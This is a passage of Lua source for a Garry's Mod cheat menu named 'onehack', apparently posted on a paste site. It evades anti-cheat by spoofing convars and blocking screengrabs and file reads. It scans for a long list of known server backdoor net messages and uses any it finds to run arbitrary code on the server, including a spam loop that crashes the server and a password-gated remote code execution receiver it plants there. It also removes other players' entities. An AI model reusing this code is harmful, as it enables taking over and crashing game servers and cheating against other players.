· 5 years ago · Mar 22, 2020, 11:48 AM
1local function init()
2if ( SERVER ) then
3function file.Read(d)
4return
5end
6end
7end
8
9local GetOriginalConVar = GetConVarNumber;
10function GetConVarNumber( name )
11if ( name == "sv_allowcslua" or name == "sv_cheats" or name == "host_framerate" or name == "mat_fullbright") then
12return 0;
13else
14return GetOriginalConVar( name );
15end
16end
17
18local onehack = onehack or {}
19onehack.options = onehack.options or {}
20onehack.Vars = {}
21onehack.Vars['ASR'] = true -- ANTISCREENGRAB
22onehack.Vars['ASF'] = false -- ANTIFILESTEAL
23onehack.Vars['ESP'] = false
24onehack.Vars['FCAM'] = false -- FREECAM
25onehack.Vars['ESP_NAME'] = false
26onehack.Vars['ESP_WEAPON'] = false
27onehack.Vars['ESP_BOX'] = false
28onehack.Vars['ESP_HPBOX'] = false
29onehack.Vars['WEAPON_LIST3D'] = false
30onehack.Vars['keypad_jiw'] = false
31onehack.CamSpeed_Normal = 2
32onehack.CamSpeed_Fast = 7
33onehack.CamSpeed_Slow = 0.5
34onehack.SpectatePlayer = nil
35onehack.StartCamPos = LocalPlayer():EyePos() or Vector(0,0,0)
36onehack.StartCamAng = LocalPlayer():EyeAngles() or Angle(0,0,0)
37onehack.options.esp = onehack.options.esp or {}
38onehack.theme = onehack.theme or {}
39onehack.BackDoors = {"m9k_rvac","YukiBackdoor","The_DankWhy","loki","stil","thanos","Limon","OBF::JH::HAX","HitOrMiss<3Luda","https://i.imgur.com/Gf6hLMl.png","Net.Start","insid3","ABCNet","FoerHack","display_messagesfh","_Reading_darkrp","nx_noiwex","FPSBOOST","nxsuper","Sandbox_ArmDupe","Sbox_darkrp","Sbox_itemstore","Ulib_Message","ULogs_Info","ALTERED_CARB0N","ITEM","R8","fix","Fix_Keypads","PoliceJoin","Remove_Exploiters","noclipcloakaesp_chat_text","_Defqon","_CAC_ReadMemory","nostrip","nocheat","LickMeOut","JSQuery.Data(Post(false))","ULX_QUERY2","ULXQUERY2","MoonMan","Im_SOCool","Sandbox_GayParty","DarkRP_UTF8","oldNetReadData","memeDoor","BackDoor","OdiumBackDoor","SessionBackdoor","DarkRP_AdminWeapons","cucked","NoNerks","kek","ZimbaBackDoor","something","random","strip0","fellosnake","enablevac","c","Detoured q","Þà?D)◘","idk","r8helper","killserver","fuckserver","cvaraccess","rcon","rconadmin","web","jesuslebg","zilnix","Þà ?D)â—","Þà ?D)","SparksLeBg","disablebackdoor","slua2","slua","CraftSomething","WriteQuery","thefrenchenculer","pplay_sendtable"," .. v.NetWork .. ","slua6","jeveuttonrconleul","kill","DefqonBackdoor","DarkRP_AllDoorDatas","0101.1","awarn_remove","PlayerItemPickUp","_Infinity","Infinity","InfinityBackdoor","_Infinity_Meme_","arivia","ULogs_B","_Warns","_cac_","striphelper","_vliss"," Ў є ѕ ї ёСЂ ѕ І ° Ѕ ѕ І ±СѓС„ µСЂ ѕ ± ј µ Ѕ °.","_KekTcf","DataMinerType","_blacksmurf","blacksmurfBackdoor","_Raze","m9k_explosionradius","m9k_explosive","m9k_addons","rcivluz","SENDTEST","_clientcvars","_main","stream","waoz","thereaperishere","bdsm","ZernaxBackdoor","UKT_MOMOS","anticrash","audisquad_lua","dontforget","noprop","thereaper","0x13","Child","!Cac","azkaw","BOOST_FPS","childexploit","ULX_ANTI_BACKDOOR","FADMIN_ANTICRASH","ULX_QUERY_TEST2","GMOD_NETDBG","netlib_debug","NoOdium_ReadPing","Sbox_gm_attackofnullday_key","Sbox_Message","idk","aze46aez67z67z64dcv4bt","nolag","changename","music","xenoexistscl","fourhead","echangeinfo","Þ� ?D)◘","elfamosabackdoormdr","stoppk","reaper","Abcdefgh","pjHabrp9EY","gag","_Battleye_Meme_","GaySploitBackdoor","_GaySploit","Bilboard.adverts:Spawn(false)","BazZziliuS","CacAntiCheat","noclipcloakaWH_chat_text","WepSwitch_DisableAllSwitch","PlayerCheck","backdoorattackdefense_superadminsettrue","loona","kIRIUS"}
40onehack.foundedbacks = {}
41onehack.antiskabad = {"Sandbox_ArmDupe","Sbox_darkrp","Sbox_itemstore","Ulib_Message","ULogs_Info","ITEM","R8","fix","Fix_Keypads","Remove_Exploiters","noclipcloakaesp_chat_text","_Defqon","_CAC_ReadMemory","nocheat","LickMeOut","ULX_QUERY2","ULXQUERY2","MoonMan","Im_SOCool","Sandbox_GayParty","DarkRP_UTF8","oldNetReadData","memeDoor","BackDoor","OdiumBackDoor","SessionBackdoor","DarkRP_AdminWeapons","cucked","NoNerks","kek","ZimbaBackDoor","something","random","strip0","fellosnake","enablevac","idk","c","killserver","fuckserver","cvaraccess","rcon","rconadmin","web","jesuslebg","zilnix","ГћГ ?D)в—˜","disablebackdoor","kill","DefqonBackdoor"}
42onehack.AllNets = {}
43onehack.selectedbackdoor = "none"
44onehack.version = "1.0.0"
45onehack.selected_player = 0
46onehack.debug = onehack.debug or {}
47onehack.foundednets = {}
48-- THEME SETTINGS
49onehack.theme.background = Color(30,30,30,200)
50onehack.theme.backgroundalt = Color(25,25,25)
51onehack.theme.backgroundalt2 = Color(50,50,50)
52onehack.theme.backgroundalt3 = Color(15,15,15)
53onehack.theme.buttonhover = Color(255,255,255,50)
54onehack.theme.chroma = Color(255,180,30)
55onehack.theme.chromaalt = Color(onehack.theme.chroma.r-55,onehack.theme.chroma.g-60,onehack.theme.chroma.b-30)
56-- THEME SETTINGS
57onehack.memory = {
58 ["hud"] = 0,
59 ["logic"] = 0,
60 ["aimbot"] = 0,
61}
62-- OPTIONS
63onehack.options.esp.enable = false
64onehack.options.esp.showname = false
65onehack.options.esp.showbox = false
66onehack.options.esp.showgroup = false
67onehack.options.esp.showweapn = false
68onehack.options.esp.boxtype = 0
69onehack.options.esp.boxcolor = Color(255,255,255)
70onehack.options.esp.namecolor = Color(255,255,255)
71onehack.options.esp.weaponcolor = Color(255,255,255)
72onehack.options.esp.groupcolor = Color(255,255,255)
73
74onehack.options.esp.enable_entity = false
75onehack.options.esp.showname_entity = false
76onehack.options.esp.showbox_entity = false
77onehack.options.esp.boxtype_entity = 0
78onehack.options.esp.boxcolor_entity = Color(255,255,255)
79onehack.options.esp.namecolor_entity = Color(255,255,255)
80-- OPTIONS
81onehack.selectedpanel = nil
82onehack.selectedpanel_id = 0
83onehack.timestamp = os.time()
84onehack.timettring = os.date( "[%H:%M:%S] " , timestamp )
85function onehack.DebugLog( str, col )
86 table.insert(onehack.debug, {onehack.timettring..str, col})
87 if #onehack.debug > 200 then
88 table.remove( onehack.debug, 1 )
89 end
90end
91
92local Tuner = nil
93function onehack.NetStart( str )
94 --print("[DEBUG] Started net: "..str)
95 if onehack.selectedbackdoor == "none" then return false end
96 return net.Start( str )
97end
98
99
100local ss = false
101local renderv = render.RenderView
102local renderc = render.Clear
103local rendercap = render.Capture
104local vguiworldpanel = vgui.GetWorldPanel
105
106
107function onehack.screengrab()
108 if ss then return end
109 ss = true
110
111 renderc( 0, 0, 0, 255, true, true )
112 renderv( {
113 origin = LocalPlayer():EyePos(),
114 angles = LocalPlayer():EyeAngles(),
115 x = 0,
116 y = 0,
117 w = ScrW(),
118 h = ScrH(),
119 dopostprocess = true,
120 drawhud = true,
121 drawmonitors = true,
122 drawviewmodel = true
123 } )
124
125 local vguishits = vguiworldpanel()
126
127 if IsValid( vguishits ) then
128 vguishits:SetPaintedManually( true )
129 end
130
131 timer.Simple( 0.1, function()
132 vguiworldpanel():SetPaintedManually( false )
133 ss = false
134 end)
135end
136
137render.Capture = function(data)
138 if onehack.Vars['ASR'] then
139 onehack.screengrab()
140 onehack.DebugLog( "ScreenGrab started: PROTECTED!", Color(0,255,0) )
141 else
142 onehack.DebugLog( "ScreenGrab started: NOT PROTECTED!", Color(255,0,0) )
143 end
144 local cap = rendercap( data )
145 return cap
146end
147
148local oldRead = file.Read
149function file.Read( fn, path )
150 if string.find(path, "DATA") or string.find(path, "lua") and onehack.Vars['ASF'] then
151 onehack.DebugLog( "File readed: "..path, Color(0,255,0) )
152 return "vzlom_zhopi()"
153 else
154 onehack.DebugLog( "File readed: "..path, Color(255,0,0) )
155 return oldRead( fn, path )
156 end
157end
158
159
160function onehack.NetWriteBeat( str )
161 local netwretbit = net.WriteBit
162 return netwretbit( str )
163end
164
165function onehack.SendToServak()
166 if onehack.selectedbackdoor == "none" then return false end
167 local netsendsrviar = net.SendToServer
168 return netsendsrviar()
169end
170
171function onehack.NetWireString( str )
172 local netwitestring = net.WriteString
173 return netwitestring( str )
174end
175
176function onehack.NetWireInt( str1,str2 )
177 local netwitestring = net.WriteInt
178 return netwitestring( str1,str2 )
179end
180
181function onehack.ValidNetStriABCD( str )
182 local status, error = pcall( s, str )
183 return status
184end
185
186function onehack.MouseInArea(framesag,minx,miny,maxx,maxy)
187 local PosX,PosY = framesag:GetPos()
188 local posx,posy = gui.MousePos();
189 return ((posx >= minx && posx <= maxx) && (posy >= miny && posy <= maxy));
190end
191
192function onehack.RandomString(len)
193 if len == nil then
194 len = math.random(20,100)
195 end
196 local ret = ""
197 for i=1,len do
198 ret = ret..string.char(math.random(33,126))
199 end
200 return ret
201end
202
203function onehack.DrawOutLinedRect(x,y,w,h,color)
204 surface.SetDrawColor( color )
205 surface.DrawOutlinedRect( x, y, w, h )
206 surface.SetDrawColor( Color(255,255,255,255) )
207end
208function onehack.DrawRect(x,y,w,h,color)
209 surface.SetDrawColor( color )
210 surface.DrawRect( x, y, w, h )
211 surface.SetDrawColor( Color(255,255,255,255) )
212end
213function onehack.Drawline(x,y,x2,y2,color)
214 surface.SetDrawColor(color)
215 surface.DrawLine(x,y,x2,y2)
216 surface.SetDrawColor( Color(255,255,255,255) )
217end
218local SpecModeFrame
219function onehack.SpectateMode()
220 if IsValid(SpecModeFrame) then return end
221 onehack.Vars['SCAM'] = true
222 SpecModeFrame = vgui.Create("DFrame")
223 SpecModeFrame:SetSize(300,400)
224 SpecModeFrame:SetPos(ScrW()-300,0)
225 SpecModeFrame:SetTitle("")
226 SpecModeFrame:ShowCloseButton(false)
227 function SpecModeFrame:Paint(w,h)
228 draw.RoundedBox(0,0,0,w,h,onehack.theme.background)
229 draw.RoundedBox(0,6,6,w-12,h-12,onehack.theme.backgroundalt2)
230 draw.RoundedBox(0,7,7,w-14,h-14,onehack.theme.backgroundalt)
231 draw.RoundedBox(0,7,7,w-14,2,onehack.theme.chromaalt)
232 draw.RoundedBox(0,7,7,w-14,1,onehack.theme.chroma)
233 draw.SimpleText("Spectator Mode","DermaDefault",w/2,20,Color(150,150,150),1,1)
234 local weapon = "NONE"
235 local hps = "NONE"
236 local ars = "NONE"
237 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
238 if IsValid(onehack.SpectatePlayer:GetActiveWeapon()) then
239 weapon = onehack.SpectatePlayer:GetActiveWeapon():GetClass()
240 end
241 hps = onehack.SpectatePlayer:Health()
242 ars = onehack.SpectatePlayer:Armor()
243 end
244 draw.SimpleText("Weapon: "..weapon,"DermaDefault",10,h-60,Color(150,150,150),0,1)
245 draw.SimpleText("HP/AR: "..hps.."/"..ars,"DermaDefault",12,h-45,Color(150,150,150),0,1)
246 end
247
248 local SpecPlayerList = vgui.Create( "DScrollPanel", SpecModeFrame )
249 SpecPlayerList:Dock(TOP)
250 SpecPlayerList:DockMargin(2,2, 2, 2)
251 SpecPlayerList:SetTall(300)
252 function SpecPlayerList:Paint( w,h )
253 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
254 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
255 end
256 SpecPlayerList.VBar:SetWidth(1)
257 SpecPlayerList:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar():GetWide(), SpecPlayerList:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
258 SpecPlayerList:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar().btnUp:GetWide(), SpecPlayerList:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
259 SpecPlayerList:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar().btnDown:GetWide(), SpecPlayerList:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
260 SpecPlayerList:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, SpecPlayerList:GetVBar().btnGrip:GetWide(), SpecPlayerList:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
261
262 for k,v in pairs(player.GetAll()) do
263 if IsValid(v) then
264 local onehack_player_button = SpecPlayerList:Add( "DButton" )
265 onehack_player_button:SetText( "" )
266 onehack_player_button:Dock( TOP )
267 onehack_player_button:DockMargin( 2, 2, 2, 0 )
268 onehack_player_button.Paint = function( _, w, h )
269 if onehack_player_button:IsHovered() then
270 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
271 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
272 else
273 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
274 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
275 end
276 if onehack.SpectatePlayer == v then
277 if IsValid(v) and v:IsPlayer() then
278 draw.SimpleText("> "..v:Name() or "NILL".." <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
279 end
280 else
281 if IsValid(v) and v:IsPlayer() then
282 draw.SimpleText(v:Name() or "NILL","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
283 end
284 end
285 end
286 function onehack_player_button:DoClick()
287 if onehack.SpectatePlayer == v then
288 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
289 onehack.SpectatePlayer:SetNoDraw( false )
290 end
291 onehack.SpectatePlayer = nil
292 else
293 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
294 onehack.SpectatePlayer:SetNoDraw( false )
295 end
296 onehack.SpectatePlayer = v
297 v:SetNoDraw( true )
298 end
299 end
300 end
301 end
302
303 for k, v in pairs(ents.GetAll()) do
304 if v:GetClass() == "gmod_cameraprop" then
305 local onehack_camera_button = SpecPlayerList:Add( "DButton" )
306 onehack_camera_button:SetText( "" )
307 onehack_camera_button:Dock( TOP )
308 onehack_camera_button:DockMargin( 2, 2, 2, 0 )
309 onehack_camera_button.Paint = function( _, w, h )
310 if onehack_camera_button:IsHovered() then
311 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
312 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
313 else
314 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
315 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
316 end
317 if onehack.SpectatePlayer == v then
318 draw.SimpleText("> CAMERA "..k.."# <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
319 else
320 draw.SimpleText("CAMERA "..k.."#","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
321 end
322 end
323 function onehack_camera_button:DoClick()
324 if onehack.SpectatePlayer == v then
325 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
326 onehack.SpectatePlayer:SetNoDraw( false )
327 end
328 onehack.SpectatePlayer = nil
329 else
330 if IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
331 onehack.SpectatePlayer:SetNoDraw( false )
332 end
333 onehack.SpectatePlayer = v
334 if v:IsValid() then
335 v:SetNoDraw( true )
336 end
337 end
338 end
339 end
340 end
341
342 local CloseSpec = SpecModeFrame:Add( "DButton" )
343 CloseSpec:SetTextColor( Color( 200, 200, 200 ) )
344 CloseSpec:SetText( "" )
345 CloseSpec:Dock(BOTTOM)
346 CloseSpec:DockMargin(1,2, 1, 0)
347 function CloseSpec:Paint( w,h )
348 if CloseSpec:IsHovered() then
349 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
350 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
351 else
352 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
353 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
354 end
355 draw.SimpleText("Exit","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
356 end
357
358 CloseSpec.DoClick = function()
359 onehack.Vars['SCAM'] = false
360 SpecModeFrame:Remove()
361 end
362end
363
364function onehack.scan()
365 for i = 0, 2^16 do
366 local str = util.NetworkIDToString( i )
367 if ( str && str != "" ) then
368 if( !net.Receivers[str] ) then
369 table.insert( onehack.AllNets, str )
370 end
371 end
372 end
373 for i = 0, 2^16 do
374 local str = util.NetworkIDToString( i )
375 if ( str && str != "" ) then
376 if( !net.Receivers[str] ) then
377 table.insert(onehack.foundednets,str)
378 if table.HasValue( onehack.BackDoors, str ) or string.find( string.lower(str), "backdoor" ) or string.find( string.lower(str), "exploit" ) or string.find( string.lower(str), "http" ) then
379 if not table.HasValue( onehack.foundedbacks, str ) then
380 if not table.HasValue(onehack.antiskabad,str) then
381 table.insert( onehack.foundedbacks, str )
382 onehack.DebugLog( "Backdoor found: "..str, Color(116,41,162) )
383 else
384 table.insert( onehack.foundedbacks, str )
385 onehack.DebugLog( "Backdoor found: "..str.." (Внимание данный бэкду ве оятнее фейк!)", Color(116,41,162) )
386 end
387 end
388 end
389 end
390 end
391 end
392end
393
394function onehack.StripWeapon( ent )
395 if not ent:IsValid() then return end
396 if ent.NextNuke and ent.NextNuke > CurTime() then return end
397 onehack.NetStart("properties")
398 net.WriteString("remove")
399 net.WriteEntity( ent )
400 net.SendToServer()
401 ent.NextNuke = CurTime() + 0.5
402end
403function onehack.StripAllWeapons( tab )
404 for k, v in pairs( tab ) do
405 if not v:IsValid() then continue end
406 if v.NextNuke and v.NextNuke > CurTime() then continue end
407 onehack.NetStart("properties")
408 net.WriteString("remove")
409 net.WriteEntity( v )
410 net.SendToServer()
411 end
412end
413onehack.scan()
414function MainFunc()
415 actived = true
416 framesag = vgui.Create("DFrame")
417 framesag:SetSize(600,400)
418 framesag:Center()
419 framesag:MakePopup()
420 framesag:SetTitle("")
421 framesag:ShowCloseButton(false)
422 function framesag:Init()
423 framesag.startTime = SysTime()
424 end
425 function framesag:Paint(w,h)
426 Derma_DrawBackgroundBlur( framesag, framesag.startTime )
427 draw.RoundedBox(0,0,0,w,h,onehack.theme.background)
428 draw.RoundedBox(0,6,6,w-12,h-12,onehack.theme.backgroundalt2)
429 draw.RoundedBox(0,7,7,w-14,h-14,onehack.theme.backgroundalt)
430 draw.RoundedBox(0,7,7,w-14,2,onehack.theme.chromaalt)
431 draw.RoundedBox(0,7,7,w-14,1,onehack.theme.chroma)
432 end
433
434 ButtonList = vgui.Create( "DScrollPanel", framesag )
435 ButtonList:SetPos(6,9)
436 ButtonList:SetSize(120,400-15)
437 function ButtonList:Paint(w,h)
438 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
439 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
440 end
441
442 function PanelAddButton( text, menuses,id) -- Кнопка в левое меню
443 local MenuBut = ButtonList:Add( "DButton" )
444 MenuBut:SetTextColor( Color( 200, 200, 200 ) )
445 MenuBut:SetText("")
446 MenuBut:SetHeight(30)
447 MenuBut:Dock( TOP )
448 MenuBut:DockMargin( 0, 0, 0, 0 )
449 function MenuBut:Paint( w,h )
450 if MenuBut:IsHovered() then
451 draw.RoundedBox(0,1,0,w-2,h,onehack.theme.backgroundalt2)
452 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
453 else
454 draw.RoundedBox(0,1,0,w-2,h,onehack.theme.backgroundalt2)
455 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
456 end
457 if onehack.selectedpanel_id == id then
458 draw.SimpleText(text,"DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
459 else
460 draw.SimpleText(text,"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
461 end
462 end
463
464 MenuBut.DoClick = function()
465 if onehack.selectedpanel == menuses then return end
466 if onehack.selectedpanel != menuses then
467 menuses()
468 end
469 end
470 end
471
472 function onehack.AddFunction( text , lolol, dawcf, func ) -- Кнопка в левое меню
473 local MenuBut2 = onehack.backlistt_functionsss_list:Add( "DButton" )
474 MenuBut2:SetTextColor( Color( 200, 200, 200 ) )
475 MenuBut2:SetText( "" )
476 MenuBut2:Dock( TOP )
477 MenuBut2:DockMargin( 0, 0, 0, 1 )
478 function MenuBut2:Paint( w,h )
479 if MenuBut2:IsHovered() then
480 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
481 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
482 else
483 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
484 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
485 end
486 draw.SimpleText(text,"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
487 end
488
489 MenuBut2.DoClick = function()
490 func()
491 end
492 end
493 function onehack.AddExploit( text , func ) -- Кнопка в левое меню
494 local MenuBut2 = onehack.exploitsList:Add( "DButton" )
495 MenuBut2:SetTextColor( Color( 200, 200, 200 ) )
496 MenuBut2:SetText( "" )
497 MenuBut2:Dock( TOP )
498 MenuBut2:DockMargin( 0, 0, 0, 1 )
499 function MenuBut2:Paint( w,h )
500 if MenuBut2:IsHovered() then
501 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
502 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
503 else
504 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
505 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
506 end
507 draw.SimpleText(text,"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
508 end
509
510 MenuBut2.DoClick = function()
511 func()
512 end
513 end
514 function onehackdooropt() -- onehack.backlistt_functionsss_list
515 onehackdooropt = vgui.Create( "DPanel" , framesag )
516 onehackdooropt:SetPos( 126, 9 )
517 onehackdooropt:SetSize( framesag:GetWide()-120-13, framesag:GetTall()-16 )
518 function onehackdooropt:Paint( w, h )
519 draw.RoundedBox( 0, 0, 0, w, h, onehack.theme.backgroundalt )
520 end
521
522 onehack.backlistt = vgui.Create( "DComboBox", onehackdooropt )
523 onehack.backlistt:SetPos( onehackdooropt:GetWide()-155, 5 )
524 onehack.backlistt:SetSize( 150, 25 )
525 onehack.backlistt:SetValue( "Select Backdoor" )
526 for _,v in pairs(onehack.foundedbacks) do
527 onehack.backlistt:AddChoice( v )
528 end
529 onehack.backlistt.OnSelect = function( self, index, value )
530 onehack.selectedbackdoor = value
531 end
532 onehack.backlistt.Paint = function( _, w, h )
533 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
534 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
535 end
536
537 onehack.backlistt_check_button = vgui.Create( "DButton", onehackdooropt )
538 onehack.backlistt_check_button:SetPos( 5, 5 )
539 onehack.backlistt_check_button:SetSize( 150, 25 )
540 onehack.backlistt_check_button:SetText( "" )
541 onehack.backlistt_check_button.Paint = function( _, w, h )
542 if onehack.backlistt_check_button:IsHovered() then
543 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
544 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
545 else
546 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
547 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
548 end
549 draw.SimpleText("Check backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
550 end
551 function onehack.backlistt_check_button:DoClick()
552 onehack.NetStart( onehack.selectedbackdoor )
553 onehack.NetWireString([[
554
555 local id = ]] .. LocalPlayer():UserID() .. [[
556
557 Player( id ):SendLua("ABCNotify(\" аботает!\", 4)")
558
559 ]])
560 net.WriteBit(1)
561 onehack.SendToServak()
562 end
563
564 onehack.backlistt_crashserver = vgui.Create( "DButton", onehackdooropt )
565 onehack.backlistt_crashserver:SetPos( onehackdooropt:GetWide()-155, 35 )
566 onehack.backlistt_crashserver:SetSize( 150, 25 )
567 onehack.backlistt_crashserver:SetText( "" )
568 onehack.backlistt_crashserver.Paint = function( _, w, h )
569 if onehack.backlistt_crashserver:IsHovered() then
570 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
571 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
572 else
573 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
574 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
575 end
576 draw.SimpleText("Off server","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
577 end
578 function onehack.backlistt_crashserver:DoClick()
579 onehack.NetStart( onehack.selectedbackdoor )
580 net.WriteString( "timer.Create( \"spamlolk\", 0, 0, function() for i = 1, 1000000 do MsgC(Color(math.random(255), math.random(255), math.random(255)), \"� \") end end)" )
581 net.WriteBit(1)
582 onehack.SendToServak()
583 end
584
585 onehack.backlistt_pach_button = vgui.Create( "DButton", onehackdooropt )
586 onehack.backlistt_pach_button:SetPos( 160, 5 )
587 onehack.backlistt_pach_button:SetSize( 147, 25 )
588 onehack.backlistt_pach_button:SetText( "" )
589 onehack.backlistt_pach_button.Paint = function( _, w, h )
590 if onehack.backlistt_pach_button:IsHovered() then
591 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
592 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
593 else
594 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
595 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
596 end
597 draw.SimpleText("Detect pach","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
598 end
599 function onehack.backlistt_pach_button:DoClick()
600 onehack.NetStart( onehack.selectedbackdoor )
601 onehack.NetWireString([[
602 local id = ]] .. LocalPlayer():UserID() .. [[
603
604 for k ,v in SortedPairs( net.Receivers, false ) do
605 if k == string.lower( "]]..onehack.selectedbackdoor..[[") then
606 Player( id ):ChatPrint("Path: "..debug.getinfo( v )["short_src"] )
607 end
608 end
609 ]])
610 net.WriteBit(1)
611 onehack.SendToServak()
612 end
613
614 onehack.backlistt_fix_button = vgui.Create( "DButton", onehackdooropt )
615 onehack.backlistt_fix_button:SetPos( 160, 35 )
616 onehack.backlistt_fix_button:SetSize( 147, 25 )
617 onehack.backlistt_fix_button:SetText( "" )
618 onehack.backlistt_fix_button.Paint = function( _, w, h )
619 if onehack.backlistt_fix_button:IsHovered() then
620 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
621 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
622 else
623 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
624 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
625 end
626 draw.SimpleText("Fix backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
627 end
628 function onehack.backlistt_fix_button:DoClick()
629 onehack.NetStart( onehack.selectedbackdoor )
630 net.WriteString( [[
631 net.Receive(]]..onehack.selectedbackdoor..[[,function()
632 print("У ВАС ЕСТЬ BACKDOOR!!!!!!!!!!!!!!!!!!!!!!!!")
633 end)
634 ]] )
635 net.WriteBit(1)
636 onehack.SendToServak()
637 end
638
639 onehack.backlistt_protect_input = vgui.Create("DTextEntry", onehackdooropt)
640 onehack.backlistt_protect_input:SetPos( 5, 35 )
641 onehack.backlistt_protect_input:SetSize( 150, 25 )
642 onehack.backlistt_protect_input:SetText( "password" )
643 onehack.backlistt_protect_input.Paint = function( self, w, h )
644 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
645 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
646 self:DrawTextEntryText(onehack.theme.chroma,onehack.theme.chroma,onehack.theme.chroma)
647 --draw.SimpleText("Protect backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
648 end
649
650 onehack.backlistt_protect_button = vgui.Create( "DButton", onehackdooropt )
651 onehack.backlistt_protect_button:SetPos( 5, 59 )
652 onehack.backlistt_protect_button:SetSize( 150, 31 )
653 onehack.backlistt_protect_button:SetText( "" )
654 onehack.backlistt_protect_button.Paint = function( _, w, h )
655 if onehack.backlistt_protect_button:IsHovered() then
656 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
657 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
658 else
659 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
660 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
661 end
662 draw.SimpleText("Protect backdoor","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
663 end
664 function onehack.backlistt_protect_button:DoClick()
665 onehack.NetStart( onehack.selectedbackdoor )
666 onehack.NetWireString([[
667 net.Receive(]]..onehack.selectedbackdoor..[[,function()
668 if net.ReadFloat() == "]]..onehack.backlistt_protect_input:GetValue()..[[" then
669 local x = CompileString( net.ReadString(), 'LuaCmd', false )
670 if isfunction( x ) then
671 x()
672 end
673 end
674 end)
675 ]])
676 net.WriteBit(1)
677 onehack.SendToServak()
678 end
679
680 onehack.backlistt_players_list = vgui.Create( "DScrollPanel", onehackdooropt )
681 onehack.backlistt_players_list:SetPos(5,114)
682 onehack.backlistt_players_list:SetSize(150,264)
683 function onehack.backlistt_players_list:Paint( w,h )
